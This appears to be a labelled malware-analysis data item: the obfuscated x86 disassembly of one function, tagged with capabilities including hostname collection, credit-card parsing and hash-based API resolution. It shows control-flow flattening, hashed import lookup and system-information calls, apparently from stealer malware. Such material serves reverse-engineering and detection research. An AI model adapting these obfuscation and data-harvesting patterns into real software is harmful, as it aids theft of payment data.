Function at 0x43cd84
Capabilities:
Get hostname
Parse credit card information
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x300
mov esi, esp
mov dword [esi + 4], 0x5b668583
mov eax, dword [esi + 4]
cmp eax, 0xf95480d6
jg 0x43ce53
cmp eax, 0xb8442e43
jg 0x43ceb7
cmp eax, 0x9e4279cc
jle 0x43cfa3
cmp eax, 0xaa3433bf
jg 0x43d22c
cmp eax, 0xa2a4580a
jg 0x43d514
cmp eax, 0xa01a0d46
jg 0x43dad9
cmp eax, 0x9e9f1eac
jg 0x43e4a1
cmp eax, 0x9e4279cd
je 0x43f557
cmp eax, 0x9e79e561
jne 0x43cd9c
mov ebx, dword [esi + 8]
shr ebx, 7
and ebx, 0xffffffe0
lea edi, [ebx + 0x1aa0]
shr edi, 0xf
mov dword [esi + 8], edi
push edi
push 0x295e
push 0x42ff
call fcn.0042a59a
add esp, 0xc
push edi
push 0x43e
push 0x5a0c
call fcn.0042a59a
add esp, 0xc
mov eax, 0xf8e559fe
cmp ebx, 0x2e6560
jb 0x43ce4b
mov eax, 0xe8fcf2a1
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x469974e5
jg 0x43cf4a
cmp eax, 0x25ed8bdc
jle 0x43cffe
cmp eax, 0x37538744
jg 0x43d28d
cmp eax, 0x3080e2d2
jg 0x43d54f
cmp eax, 0x2d53bf5f
jg 0x43db46
cmp eax, 0x29a52921
jg 0x43e521
cmp eax, 0x25ed8bdd
je 0x43f589
cmp eax, 0x2840e0fc
jne 0x43cd9c
mov dword [esi + 4], 0xb8442e44
jmp 0x43cd9c
cmp eax, 0xd339d5fd
jle 0x43d0b0
cmp eax, 0xea8c8820
jg 0x43d2d0
cmp eax, 0xe1c66a6b
jg 0x43d59d
cmp eax, 0xd62d79da
jg 0x43dbc3
cmp eax, 0xd4b78af0
jg 0x43e5b1
cmp eax, 0xd339d5fe
je 0x43f595
cmp eax, 0xd39e5d44
jne 0x43cd9c
mov eax, dword [esi + 0x80]
mov ecx, dword [eax]
mov eax, dword [eax + 3]
mov dword [esi + 0x1e4], ecx
mov dword [esi + 0x1e7], eax
lea eax, [esi + 0x1e4]
push eax
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0xf0]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov dword [esi + 4], 0x578adb76
jmp 0x43cd9c
cmp eax, 0x5fa840b5
jle 0x43d141
cmp eax, 0x72687fc4
jg 0x43d33a
cmp eax, 0x683bff04
jg 0x43d5fe
cmp eax, 0x6299c875
jg 0x43dc20
cmp eax, 0x60edd944
jg 0x43e5f6
cmp eax, 0x5fa840b6
je 0x43f5ad
cmp eax, 0x6023b85b
jne 0x43cd9c
mov dword [esi + 4], 0x862db538
jmp 0x43cd9c
cmp eax, 0x8ba168fc
jle 0x43d38c
cmp eax, 0x95cdd8e9
jg 0x43d639
cmp eax, 0x8e35aca3
jg 0x43dc87
cmp eax, 0x8ca2d795
jg 0x43e632
cmp eax, 0x8ba168fd
je 0x43f5ce
cmp eax, 0x8c6092d4
jne 0x43cd9c
imul eax, dword [esi + 0xc], 0xd8
add eax, 0x70
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x60edd945
jmp 0x43cd9c
cmp eax, 0xca312a5
jle 0x43d3f5
cmp eax, 0x181b1a3a
jg 0x43d681
cmp eax, 0x1347eb9b
jg 0x43dcc8
cmp eax, 0xdd1c1f6
jg 0x43e68f
cmp eax, 0xca312a6
je 0x43f5e3
cmp eax, 0xd7a671c
jne 0x43cd9c
mov eax, dword [esi + 0xdc]
mov word [eax + 0x18], 0
push 0x18
push str._98
push dword [esi + 0xdc]
call fcn.0044a890
add esp, 0xc
push 5
push 0x471f88
push 0xc
push dword [esi + 0xdc]
call fcn.00440ce0
add esp, 0x10
push dword [esi + 0xdc]
push 0x5f086d32
call fcn.00445344
add esp, 8
push dword [esi + 0x24]
call eax
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], eax
mov dword [esi + 4], 0x37d8f3f6
jmp 0x43cd9c
cmp eax, 0xc5870a4d
jle 0x43d467
cmp eax, 0xcb2d4c24
jg 0x43d6db
cmp eax, 0xc70cd5c8
jg 0x43dd00
cmp eax, 0xc5f299be
jg 0x43e6df
cmp eax, 0xc5870a4e
je 0x43f629
cmp eax, 0xc5e72542
jne 0x43cd9c
push 0x1c
push dword [esi + 0x90]
push dword [esi + 0x34]
call fcn.0044a890
add esp, 0xc
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0xa2a4580b
jmp 0x43cd9c
cmp eax, 0x51f80afb
jle 0x43d4c8
cmp eax, 0x59d26613
jg 0x43d73a
cmp eax, 0x547269cc
jg 0x43dd2d
cmp eax, 0x528e5eed
jg 0x43e71b
cmp eax, 0x51f80afc
je 0x43f638
cmp eax, 0x5286ace7
jne 0x43cd9c
mov eax, dword [esi + 0x174]
mov byte [eax], 0
mov eax, dword [esi + 0x9c]
movzx ecx, word [str.D__t]
mov word [eax + 0xc], cx
mov ecx, dword [0x47e558]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e554]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e550]
mov dword [eax], ecx
push 6
push 0x47e55e
push 0xe
push dword [esi + 0x9c]
call fcn.00440e20
add esp, 0x10
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x9c]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0xf8]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0xbddb934c
jmp 0x43cd9c
cmp eax, 0xb10facfc
jg 0x43d78f
cmp eax, 0xac54653b
jg 0x43dd71
cmp eax, 0xab2fa7c7
jg 0x43e74b
cmp eax, 0xaa3433c0
je 0x43f66f
cmp eax, 0xaa5d8f45
jne 0x43cd9c
imul ecx, dword [esi + 8], 0x45600
add ecx, 0x392d0
mov dword [esi + 8], ecx
mov eax, 0xbf3ab78d
cmp ecx, 0xd4
jl 0x43d285
mov eax, 0x9c866ef3
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x3c2d1d01
jg 0x43d7ee
cmp eax, 0x3929d46a
jg 0x43ddaf
cmp eax, 0x37d8f3f5
jg 0x43e796
cmp eax, 0x37538745
je 0x43f6e8
cmp eax, 0x37b3dab2
jne 0x43cd9c
mov dword [esi + 4], 0x9d673473
jmp 0x43cd9c
cmp eax, 0xf31e7dc0
jg 0x43d84a
cmp eax, 0xef7c14c0
jg 0x43dde9
cmp eax, 0xed86323e
jg 0x43e7d0
cmp eax, 0xea8c8821
je 0x43f76f
cmp eax, 0xed0da876
jne 0x43cd9c
push 1
mov edi, 0x8000
push edi
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0xf4], eax
mov dword [esi + 0x114], edi
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x84], eax
mov dword [esi + 4], 0x2fc64b54
jmp 0x43cd9c
cmp eax, 0x79916b10
jg 0x43d8b2
cmp eax, 0x73bde01a
jg 0x43de16
cmp eax, 0x7362c2ea
jg 0x43e803
cmp eax, 0x72687fc5
je 0x43f78c
cmp eax, 0x730eba7f
jne 0x43cd9c
imul eax, dword [esi + 0xc], 0x1d400000
or eax, 0xb20
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x82d3071f
jmp 0x43cd9c
cmp eax, 0x862db537
jle 0x43d93f
cmp eax, 0x88d85f76
jg 0x43de6f
cmp eax, 0x876f42a2
jg 0x43e84c
cmp eax, 0x862db538
je 0x43f7bc
cmp eax, 0x865d8d32
jne 0x43cd9c
imul ebx, dword [esi + 8], 0x2d000
mov dword [esi + 8], ebx
push ebx
call fcn.0043cd84
add esp, 4
push ebx
call fcn.0043cd84
add esp, 4
mov eax, 0x8ba168fd
test ebx, ebx
je 0x43d3ed
mov eax, 0xf490fa59
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x2d64adf
jle 0x43d9fe
cmp eax, 0x8bc94a4
jg 0x43dee7
cmp eax, 0x5ca5925
jg 0x43e86e
cmp eax, 0x2d64ae0
je 0x43f7e0
cmp eax, 0x446e549
jne 0x43cd9c
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0xda]
imul eax, eax
add ecx, 0xffffff4b
imul edx, eax, 0x1f15
shr ecx, 0xd
dec edx
lea edi, [ecx + ecx*4]
lea ecx, [ecx + edi*2]
mov dword [esi + 0xc], ecx
mov ecx, 0x8ba168fd
cmp eax, edx
je 0x43d45f
mov ecx, 0xe9f6d0e6
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0xc0f7ff5c
jle 0x43da48
cmp eax, 0xc2e940b6
jg 0x43df4d
cmp eax, 0xc21f4a10
jg 0x43e89d
cmp eax, 0xc0f7ff5d
je 0x43f813
cmp eax, 0xc1cecfe1
jne 0x43cd9c
mov eax, dword [esi + 0x54]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
mov dword [esi + 4], 0xc0f7ff5d
jmp 0x43cd9c
cmp eax, 0x4c75140c
jle 0x43da91
cmp eax, 0x50649b05
jg 0x43df7d
cmp eax, 0x4dece089
jg 0x43e8e0
cmp eax, 0x4c75140d
je 0x43f842
cmp eax, 0x4dcbe325
jne 0x43cd9c
mov eax, dword [esi + 0x54]
mov eax, dword [esi + 0x20]
mov eax, dword [esi + 0x50]
mov dword [esi + 4], 0x6fa8cbcf
jmp 0x43cd9c
cmp eax, 0xa6bac59a
jg 0x43dfca
cmp eax, 0xa3760a81
jg 0x43e916
cmp eax, 0xa2a4580b
je 0x43f873
cmp eax, 0xa2f2666c
jne 0x43cd9c
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0x835148af
jmp 0x43cd9c
cmp eax, 0x34a85f48
jg 0x43e022
cmp eax, 0x32ae1d7c
jg 0x43e953
cmp eax, 0x3080e2d3
je 0x43f8ae
cmp eax, 0x311b76a0
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0x19
lea eax, [eax + eax*8]
or eax, 0x19e00
mov dword [esi + 8], eax
call fcn.00407817
mov dword [esi + 4], 0x876f42a3
jmp 0x43cd9c
cmp eax, 0xe8fcf2a0
jg 0x43e078
cmp eax, 0xe532cf3c
jg 0x43e9a6
cmp eax, 0xe1c66a6c
je 0x43f8cb
cmp eax, 0xe2605302
jne 0x43cd9c
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0xd3
imul eax, eax
imul ecx, ecx, 0xc5d0
imul edx, eax, 0x7c4f
dec edx
or ecx, 8
mov dword [esi + 0xc], ecx
mov ecx, 0xe544d742
cmp eax, edx
je 0x43d5f6
mov ecx, 0x9ef395ad
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0x6e5dfc4d
jg 0x43e0b9
cmp eax, 0x6bbfb699
jg 0x43ea27
cmp eax, 0x683bff05
je 0x43f909
cmp eax, 0x68b1d8d0
jne 0x43cd9c
mov eax, dword [esi + 0x20]
mov dword [esi + 4], 0x95cdd8ea
jmp 0x43cd9c
cmp eax, 0x9cc5e09b
jg 0x43e117
cmp eax, 0x968383c4
jg 0x43ea5a
cmp eax, 0x95cdd8ea
je 0x43f921
cmp eax, 0x95d3505f
jne 0x43cd9c
mov eax, dword [esi + 0xc]
add eax, eax
add eax, 0x29b
shr eax, 0xa
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x469974e6
jmp 0x43cd9c
cmp eax, 0x1fa40e08
jg 0x43e15a
cmp eax, 0x1d4db8fb
jg 0x43eaaa
cmp eax, 0x181b1a3b
je 0x43f94c
cmp eax, 0x1ace8a92
jne 0x43cd9c
mov eax, dword [esi + 8]
mov ecx, 0xff000000
and eax, ecx
lea ecx, [eax*4 - 0x8a]
mov dword [esi + 8], ecx
mov eax, 0xde61a78c
cmp ecx, 0x87
jl 0x43d6d3
mov eax, 0x34436423
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xcd6b4b45
jg 0x43e198
cmp eax, 0xcc9eb19a
jg 0x43eacc
cmp eax, 0xcb2d4c25
je 0x43f962
cmp eax, 0xcc429f6a
jne 0x43cd9c
mov ebx, dword [esi + 8]
add ebx, 0x6b
mov dword [esi + 8], ebx
push 0x1f0a
push ebx
push 0x4f73
call fcn.0042a59a
add esp, 0xc
mov eax, 0x5b668583
cmp ebx, 0x2c
jae 0x43d732
mov eax, 0xa4ce8544
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x5bb238ac
jg 0x43e232
cmp eax, 0x5a9da1ab
jg 0x43eb08
cmp eax, 0x59d26614
je 0x43f98f
cmp eax, 0x5a2b3fc9
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shl eax, 0xe
add eax, 0xfff28000
mov ecx, eax
shr ecx, 9
shr eax, 4
add eax, ecx
add eax, 0xfffff6b8
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb5c9ae72
jmp 0x43cd9c
cmp eax, 0xb5738bbe
jg 0x43e276
cmp eax, 0xb274466e
jg 0x43eb36
cmp eax, 0xb10facfd
je 0x43f9a8
cmp eax, 0xb1fcd5fe
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 6
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2e89
dec edx
shl eax, 8
add eax, 0xffffff7c
mov dword [esi + 0xc], eax
mov eax, 0xb5c9ae72
cmp edx, ecx
je 0x43d7e6
mov eax, 0xc5e72542
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x3fa03bfb
jg 0x43e2aa
cmp eax, 0x3ed8f8ce
jg 0x43eb72
cmp eax, 0x3c2d1d02
je 0x43f9c9
cmp eax, 0x3d4662e1
jne 0x43cd9c
mov eax, dword [esi + 0x1d4]
mov word [eax], 0xa
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xdc], eax
mov dword [esi + 4], 0xd7a671c
jmp 0x43cd9c
cmp eax, 0xf4593bdc
jg 0x43e2db
cmp eax, 0xf3d87e12
jg 0x43eb9a
cmp eax, 0xf31e7dc1
je 0x43f9e1
cmp eax, 0xf3bd0545
jne 0x43cd9c
imul ebx, dword [esi + 8], 0x241e
add ebx, 0xffe69aab
mov dword [esi + 8], ebx
push 0x5647
push ebx
push 0x1b74
push 0x49
call fcn.00440ce0
add esp, 0x10
mov eax, 0xb6e7b0da
cmp ebx, 0x66
jb 0x43d8aa
mov eax, 0xc443767f
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x7b77bc8e
jg 0x43e359
cmp eax, 0x79c5bcd4
jg 0x43ebee
cmp eax, 0x79916b11
je 0x43fa4d
cmp eax, 0x79ae4a35
jne 0x43cd9c
mov edi, 0xa
push edi
push dword [esi + 0xe8]
push dword [esi + 0x11c]
call fcn.00458cf8
add esp, 0xc
push edi
push dword [esi + 0xec]
push dword [esi + 0x124]
call fcn.00458cf8
add esp, 0xc
push 1
push 0x4000
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0x10], eax
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x128], eax
mov dword [esi + 4], 0x52c0094f
jmp 0x43cd9c
cmp eax, 0x835148ae
jg 0x43e392
cmp eax, 0x82edeb31
jg 0x43ec72
cmp eax, 0x81649d46
je 0x43fa8a
cmp eax, 0x82d3071f
jne 0x43cd9c
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x184]
mov word [eax + ecx], pe_nt_image_headers32
push dword [esi + 0xec]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
push 2
push 0x55
call fcn.0045a6a3
add esp, 8
mov dword [esi + 0xfc], eax
sub esp, 0x1c
mov ebx, esp
mov word [ebx + 0x18], 0
push 0x18
push 0x471f40
push ebx
call fcn.0044a890
add esp, 0xc
push 8
push 0x471f58
push 0xc
push ebx
call fcn.00440ce0
add esp, 0x10
push ebx
push 0x2f9959e0
call fcn.00445344
add esp, 8
mov dword [esi + 0x188], eax
mov dword [esi + 4], 0x4c75140d
jmp 0x43cd9c
cmp eax, 0xff67e51c
jle 0x43e3ce
cmp eax, 0x2231c24
jg 0x43eca3
cmp eax, 0xff67e51d
je 0x43fac9
cmp eax, 0x1557802
jne 0x43cd9c
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x180]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0xce740087
jmp 0x43cd9c
cmp eax, 0xbdd9fdeb
jle 0x43e411
cmp eax, 0xbf3ab78c
jg 0x43ecc5
cmp eax, 0xbdd9fdec
je 0x43faf7
cmp eax, 0xbddb934c
jne 0x43cd9c
mov eax, dword [esi + 0xc]
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
add eax, ecx
add eax, 0x1c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf3d87e13
jmp 0x43cd9c
cmp eax, 0x48fbba77
jle 0x43e456
cmp eax, 0x4b427870
jg 0x43ed5e
cmp eax, 0x48fbba78
je 0x43fb18
cmp eax, 0x4a3c51f5
jne 0x43cd9c
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff
and eax, ecx
add eax, 0xffffffae
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x547269cd
jmp 0x43cd9c
cmp eax, 0xa140a1aa
jg 0x43ed9b
cmp eax, 0xa01a0d47
je 0x43fb47
cmp eax, 0xa10ace44
jne 0x43cd9c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x140]
mov dword [esi + 0x144], eax
push eax
mov eax, esp
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x78]
mov byte [eax + 2], 0
mov eax, dword [esi + 0x78]
movzx ecx, word [0x47e4a5]
mov word [eax], cx
mov eax, 2
push eax
push 0x47e4a7
push eax
push dword [esi + 0x78]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0x5a2b3fc9
jmp 0x43cd9c
cmp eax, 0x2fbbcc49
jg 0x43ede0
cmp eax, 0x2d53bf60
je 0x43fba1
cmp eax, 0x2edb9700
jne 0x43cd9c
mov eax, dword [esi + 8]
shr eax, 2
add eax, 0x94
shr eax, 0xe
lea ecx, [eax + eax*8]
lea ebx, [eax + ecx*8]
mov dword [esi + 8], ebx
push ebx
push 0x429d
push 0x524f
call fcn.0042a59a
add esp, 0xc
push ebx
push 0x1df5
push 0x5d8c
push 0x1a1a
call fcn.00440ce0
add esp, 0x10
mov eax, 0xc5f299bf
cmp ebx, 0xd0
jae 0x43dbbb
mov eax, 0x32ae1d7d
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xdc89495c
jg 0x43ee19
cmp eax, 0xd62d79db
je 0x43fbd7
cmp eax, 0xd90fc93a
jne 0x43cd9c
push dword [esi + 0x2c]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x28]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x9e2fa6d3
jmp 0x43cd9c
cmp eax, 0x66177547
jg 0x43ee69
cmp eax, 0x6299c876
je 0x43fc0b
cmp eax, 0x6403a008
jne 0x43cd9c
mov ebx, dword [esi + 8]
mov edi, ebx
shr edi, 0xe
mov dword [esi + 8], edi
push edi
call fcn.0043cd84
add esp, 4
push edi
push 0x5747
push 0x1658
push 0x3368
call fcn.00440e20
add esp, 0x10
mov eax, 0xb296c61
cmp ebx, 0x17c000
jb 0x43dc7f
mov eax, 0x48f18c92
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x909d14cc
jg 0x43eeb2
cmp eax, 0x8e35aca4
je 0x43fc57
cmp eax, 0x8fe8d881
jne 0x43cd9c
push 7
push 0x47e49e
push 0xf
push dword [esi + 0x74]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0xa140a1ab
jmp 0x43cd9c
cmp eax, 0x16690ac6
jg 0x43eef2
cmp eax, 0x1347eb9c
je 0x43fc91
cmp eax, 0x15d9955a
jne 0x43cd9c
mov eax, dword [esi + 0x150]
mov word [eax], 0xa
mov dword [esi + 4], 0x4147df62
jmp 0x43cd9c
cmp eax, 0xc8d4dac2
jg 0x43ef31
cmp eax, 0xc70cd5c9
je 0x43fca9
cmp eax, 0xc74ee642
jne 0x43cd9c
mov dword [esi + 4], 0xac54653c
jmp 0x43cd9c
cmp eax, 0x577d64e3
jg 0x43ef7c
cmp eax, 0x547269cd
je 0x43fd0c
cmp eax, 0x56641982
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0xb
add eax, 0xffff0807
mov dword [esi + 8], eax
push eax
call fcn.0043cd84
add esp, 4
mov dword [esi + 4], 0xd62d79db
jmp 0x43cd9c
cmp eax, 0xaf477899
jg 0x43efaf
cmp eax, 0xac54653c
je 0x43fd2b
cmp eax, 0xaf3d650a
jne 0x43cd9c
mov eax, dword [esi + 8]
shl eax, 0x10
add eax, 0x1d8000
shr eax, 3
mov dword [esi + 8], eax
mov dword [esi + 4], 0x9ef395ad
jmp 0x43cd9c
cmp eax, 0x3b28e3c0
jg 0x43efd4
cmp eax, 0x3929d46b
je 0x43fd37
cmp eax, 0x39fbe18f
jne 0x43cd9c
mov eax, dword [esi + 0xc]
shr eax, 1
and eax, 0x7ffff
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xd2959f27
jmp 0x43cd9c
cmp eax, 0xf1504ec2
jg 0x43f019
cmp eax, 0xef7c14c1
je 0x43fd83
cmp eax, 0xefb47bd9
jne 0x43cd9c
mov dword [esi + 4], 0x38d6897c
jmp 0x43cd9c
cmp eax, 0x74fd6f1e
jg 0x43f047
cmp eax, 0x73bde01b
je 0x43fdba
cmp eax, 0x742e0221
jne 0x43cd9c
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x93
imul eax, eax
imul edx, eax, 0x419b
dec edx
imul ecx, ecx, 0x3e040000
add ecx, 0x23700000
mov dword [esi + 0xc], ecx
mov ecx, 0x5b668583
cmp edx, eax
je 0x43de67
mov ecx, 0x25ed8bdd
mov dword [esi + 4], ecx
jmp 0x43cd9c
cmp eax, 0x8a146f17
jg 0x43f08f
cmp eax, 0x88d85f77
je 0x43fdd5
cmp eax, 0x89c20c5a
jne 0x43cd9c
push 7
push 0x47e549
push 0xd
push dword [esi + 0x98]
call fcn.00440e20
add esp, 0x10
push dword [esi + 0x164]
push dword [esi + 0x168]
push dword [esi + 0x16c]
push dword [esi + 0x170]
push dword [esi + 0x98]
push 0x7ff
push dword [esi + 0xf8]
call fcn.0042a59a
add esp, 0x1c
mov eax, dword [esi + 0x40]
mov dword [esi + 4], 0x88d85f77
jmp 0x43cd9c
cmp eax, 0xb296c60
jg 0x43f0be
cmp eax, 0x8bc94a5
je 0x43fde1
cmp eax, 0xa0be244
jne 0x43cd9c
push 8
push 0x471f28
push 0xc
push dword [esi + 0x84]
call fcn.00440ce0
add esp, 0x10
push dword [esi + 0x84]
push 0x23fef64a
call fcn.00445344
add esp, 8
lea ecx, [esi + 0x114]
push ecx
push dword [esi + 0xf4]
call eax
mov dword [esi + 4], 0x2d53bf60
jmp 0x43cd9c
cmp eax, 0xc443767e
jg 0x43f12d
cmp eax, 0xc2e940b7
je 0x43fe03
cmp eax, 0xc2fe1158
jne 0x43cd9c
mov eax, dword [esi + 0x34]
mov dword [esi + 4], 0xf95480d7
jmp 0x43cd9c
cmp eax, 0x5101437d
jg 0x43f162
cmp eax, 0x50649b06
je 0x43fe0f
cmp eax, 0x507da226
jne 0x43cd9c
mov eax, 0xffffff20
mov dword [esi + 8], eax
push 0x3572
push 0x5dd
push 0x4ab5
push eax
call fcn.00440ce0
add esp, 0x10
mov dword [esi + 4], 0xaa5d8f45
jmp 0x43cd9c
cmp eax, 0xa7055611
jg 0x43f1c1
cmp eax, 0xa6bac59b
je 0x43fe5f
cmp eax, 0xa6d1d8ea
jne 0x43cd9c
mov eax, dword [esi + 0xc]
mov ecx, 0xf6
add eax, ecx
shr eax, 8
add eax, 0xf3
mov dword [esi + 0xc], eax
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1557
dec edx
mov eax, 0xce740087
cmp ecx, edx
je 0x43e01a
mov eax, 0xb0e1b55f
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x359e8811
jg 0x43f202
cmp eax, 0x34a85f49
je 0x43fe9e
cmp eax, 0x34ea88bc
jne 0x43cd9c
mov ebx, dword [esi + 8]
shl ebx, 8
and ebx, 0x3ffff00
or ebx, 2
mov dword [esi + 8], ebx
push ebx
call fcn.0043cd84
add esp, 4
mov eax, 0x311b76a0
cmp ebx, 0x84
jae 0x43e070
mov eax, 0xef7c14c1
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0xe9f6d0e5
jg 0x43f24a
cmp eax, 0xe8fcf2a1
je 0x43fed0
cmp eax, 0xe9975444
jne 0x43cd9c
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x6c07dc46
jmp 0x43cd9c
cmp eax, 0x6f47770d
jg 0x43f2a1
cmp eax, 0x6e5dfc4e
je 0x43ff29
cmp eax, 0x6e84da04
jne 0x43cd9c
imul ebx, dword [esi + 8], 0x83
add ebx, 0x13b
mov dword [esi + 8], ebx
push ebx
push 0x5321
push 0x4ffe
call fcn.0042a59a
add esp, 0xc
mov eax, 0xb274466f
cmp ebx, 0xe3
jae 0x43e10f
mov eax, 0x79dcd6a1
mov dword [esi + 4], eax
jmp 0x43cd9c
cmp eax, 0x9d967b78
jg 0x43f2cc
cmp eax, 0x9cc5e09c
je 0x43ff71
cmp eax, 0x9d673473
jne 0x43cd9c
mov dword [esi + 0x18], 0x100
lea eax, [esi + 0x18]
push eax
push dword [esi + 0x30]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0x3c1ff867
jmp 0x43cd9c
cmp eax, 0x24125406
jg 0x43f2fc
cmp eax, 0x1fa40e09
je 0x43ff9f
cmp eax, 0x23139ff4
jne 0x43cd9c
xor eax, eax
push eax
push dword [esi + 0x20]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov eax, dword [esi + 0x54]
mov dword [esi + 4], 0x528e5eee
jmp 0x43cd9c
cmp eax, 0xd0460e07
jg 0x43f339
cmp eax, 0xcd6b4b46
je 0x43ffb5
cmp eax, 0xce740087
jne 0x43cd9c
push eax
sub esp, 0x14
mov ebx, esp
mov byte [ebx + 0x14], 0
mov edi, 0x14
push edi
push 0x47e580
push ebx
call fcn.0044a890
add esp, 0xc
push 6
push 0x47e594
push edi
push ebx
call fcn.00440e20
add esp, 0x10
push 0x15
push ebx
push dword [esi + 0x48]
call fcn.0044a890
add esp, 0xc
push dword [esi + 0x48]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0xe8]
push dword [esi + 0x10]
call fcn.0045b990
add esp, 8
push dword [esi + 0x10]
call fcn.0045bb70
add esp, 4
mov dword [esi + 0x184], eax
mov dword [esi + 4], 0x730eba7f
jmp 0x43cd9c
cmp eax, 0x5ead8a10
jg 0x43f38f
cmp eax, 0x5bb238ad
je 0x43ffd9
cmp eax, 0x5d54c426
jne 0x43cd9c
push 8
push 0x47e5ed
push 0x1d
push dword [esi + 0xe0]
call fcn.00440e20
add esp, 0x10
mov dword [esi + 4], 0x59d26614
jmp 0x43cd9c
cmp eax, 0xb5c9ae71
jg 0x43f3ce
cmp eax, 0xb5738bbf
je 0x440008
cmp eax, 0xb5a096ce
jne 0x43cd9c
mov dword [esi + 0xc], 0xf6228000
mov dword [esi + 4], 0xd39e5d44
jmp 0x43cd9c
cmp eax, 0x435a0da3
jg 0x43f3ff
cmp eax, 0x3fa03bfc
je 0x44007f
cmp eax, 0x4147df62
jne 0x43cd9c
shr dword [esi + 0xc], 0xc
mov dword [esi + 4], 0xed0da876
jmp 0x43cd9c
cmp eax, 0xf5a65959
jg 0x43f447
cmp eax, 0xf4593bdd
je 0x4400c6
cmp eax, 0xf490fa59
jne 0x43cd9c
mov eax, dword [esi + 0x64]
mov word [eax + 0x14], 0
push 0x14
push 0x471ea0
push dword [esi + 0x64]
call fcn.0044a890
add esp, 0xc
push 6
push 0x471eb4
push 0xa
push dword [esi + 0x64]
call fcn.00440ce0
add esp, 0x10
push dword [esi + 0x64]
push 0x3d95e230
call fcn.00445344
add esp, 8
push 0
call eax
